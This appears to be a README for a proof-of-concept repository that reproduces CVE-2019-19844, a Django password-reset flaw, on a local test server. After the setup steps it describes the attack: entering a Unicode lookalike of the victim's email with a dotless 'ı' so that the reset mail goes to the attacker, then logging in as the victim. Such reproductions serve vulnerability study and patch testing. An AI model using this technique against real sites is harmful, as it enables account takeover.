Awesome
django_cve_2019_19844_poc
PoC for CVE-2019-19844
Requirements
- Python 3.7.x
- PostgreSQL 9.5 or higher
Setup
- Create database(e.g.
django_cve_2019_19844_poc
) - Set the database name to the environment variable
DJANGO_DATABASE_NAME
(e.g.export DJANGO_DATABASE_NAME=django_cve_2019_19844_poc
) - Run
pip install -r requirements.txt && ./manage.py migrate --noinput
- Create the following user with
shell
command:
>>> from django.contrib.auth import get_user_model
>>> User = get_user_model()
>>> User.objects.create_user('mike123', 'mike@example.org', 'test123')
Procedure For Reproducing
- Run
./manage.py runserver
- Open
http://127.0.0.1:8000/accounts/password-reset/
- Input
mıke@example.org
(Attacker's email), and click send button - Receive email (Check console), and reset password
- Login as
mike123
user